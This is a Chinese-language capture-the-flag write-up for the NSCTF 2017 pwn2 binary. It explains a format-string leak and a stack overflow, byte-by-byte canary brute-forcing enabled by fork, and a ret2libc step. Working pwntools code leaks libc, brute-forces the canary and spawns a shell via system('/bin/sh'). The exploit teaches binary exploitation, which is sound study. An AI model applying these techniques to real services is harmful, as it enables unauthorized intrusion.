NSCTF 2017-pwn2

1.常规checksec,开启了NX和canary,IDA打开找漏洞,sub_80487FA()函数中存在两个漏洞:

(1)格式化字符串漏洞:

1
2
3
4
5
6
#注释头

s = (char *)malloc(0x40u);
sub_804876D(&buf);
sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s)

(2)栈溢出漏洞:

1
2
3
#注释头

read(0, &buf, 0x100u);

2.由于canary的关系,栈溢出没办法利用,但是这里可以通过格式化字符串漏洞直接泄露canary,之后再实际操作。这里为了学习爆破canary的方式,先用爆破的方式来获取canary。

3.如果直接爆破canary,由于canary随机刷新,就算去掉最后一个字节\x00,在32位条件下我们假定一个canary的值,那么canary随机生成为我们假定的值的概率应该为1/(2^24-1)所以从概率上讲应该需要爆破2^24-1次,也就是16,777,215-1次,而且还只是概率上的期望值,如果不考虑canary的实际生成机制,并且运气不好的话,可能无穷大,等爆出来黄花菜都凉了,这鬼能接受。所以一般使用爆破canary都需要一个fork子进程。

4.子进程的崩溃并不会影响到父进程,并且由于子进程的数据都是从父进程复制过来的,canary也一样,只要父进程不结束,子进程无论崩溃多少次其初始化的数据还是父进程的数据,canary就不会发生改变,这样就为快速爆破canary创造了前提。刚好这个程序有fork一个子进程:

(1)观察汇编代码:

img

main函数主体中先call fork,由于函数的结果基本都是传给eax,所以这里的eax就代表fork的成功与否,返回ID代表fork成功,然后将调用结果赋值给局部变量[esp+1ch],之后拿0与局部变量[esp+1ch]比较。这里涉及到JNZ影响的标志位ZF,CF等,不细介绍。总而言之就是会fork一个子进程,成功就跳转到我们之前说过的有漏洞的函数中,失败则等待,一会然后依据while重开程序。

(2)观察伪代码也可以

▲fork机制:

1)在父进程中,fork返回新创建子进程的进程ID;

2)在子进程中,fork返回0;

3)如果出现错误,fork返回一个负值;

5.爆破canary原理:

(1)最开始我认为就算canary不变,那么从024开始尝试,一直到canary的值,那么需要尝试canary值这么多次,最少1次,最多2^24次,就算取期望,那也应该是(1/2)(2^24)次。也没办法接受啊。

(2)之后看了canary的检查机制和生成机制:在sub_80487FA汇编代码中:

img

img

生成的时候是将栈上指定地方[ebp+var_C]给修改成canary。

检查的时候,是从栈上取[ebp+var_C]的值传给eax和最开始随机生成的canary(large gs:14h)来比较,所以当我们用栈溢出的时候,我们可以只溢出一个字节来修改[ebp+var_C]的第1个字节,(第0个字节是\x00),然后启动检查机制。由于只修改了栈上[ebp+var_C]的第1个字节数据,第3,2个字节仍然还是之前被保存的canary的值。所以我们获取第1个字节需要尝试最少1次,最多2^8次,平均(1/2)(2^8)次,也就是128次,可以接受。之后将爆破成功的第1个字节加到栈溢出内容中,再溢出一个字节修改[ebp+var_C]上的第2个字节,同理,完成爆破需要128次,总的来说平均需要1283=384次,完全可以接受。

(3)爆破一般形式程序,两个循环:

1
2
3
4
#注释头

for i in xrange(3):
for j in xrange(256):

6.之后不同程序不太一样,有的程序没有循环,是直接fork一个子进程,监听其它端口,这时候只要连接该端口就可以进行爆破,失败了关闭端口就是。

有的程序只是在程序中fork一个子进程,但是有循环,那么我们就需要在循环里跑出来canary。然后直接进行下一步payload,不然断开连接的话,程序又重新生成canary,等于没用。

7.总结一下,程序最开始需要输入Y,然后跳转到有漏洞的函数sub_80487FA中,之后可以获取输入name,这里的输入的name在下一条[*] Welcome to the game之后会被打印出来,并且打印的方式存在格式化字符串漏洞。所以可以通过调试,输入%p来获取栈上的指定的libc地址内容,泄露libc从而获取libc基地址。

8.由于每次子程序崩溃后都会从头开始,都需要再输入Y和name,那么直接将该段泄露代码放在爆破循环中即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
canary = '\x00'
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%19$p') #泄露栈上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16)

io.recv()
payload = 'A'*16 #构造payload爆破canary
payload += canary
payload += chr(j)
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)):
#如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
canary += chr(j)
log.info('At round %d find canary byte %#x' %(i, j))
break

9.爆破结束后,得到libc基地址,canary,以及一个可以利用的栈溢出,程序循环从最开始。那么利用栈溢出返回到system函数,由于32位程序,栈传参,那么可以提前布置好栈,使得system函数直接从我们布置的栈上读取binsh字符串,直接getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System_address:%#x,binsh_addr:%#x'%(system_addr,binsh_addr))

payload = ''
payload += 'A'*16
payload += canary
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC'
payload += p32(binsh_addr)

io.sendline('Y') #[*] Do you love me?
io.recv()
io.sendline('1') #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload) #[*] Input Your Id: 漏洞产生点
io.interactive()

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157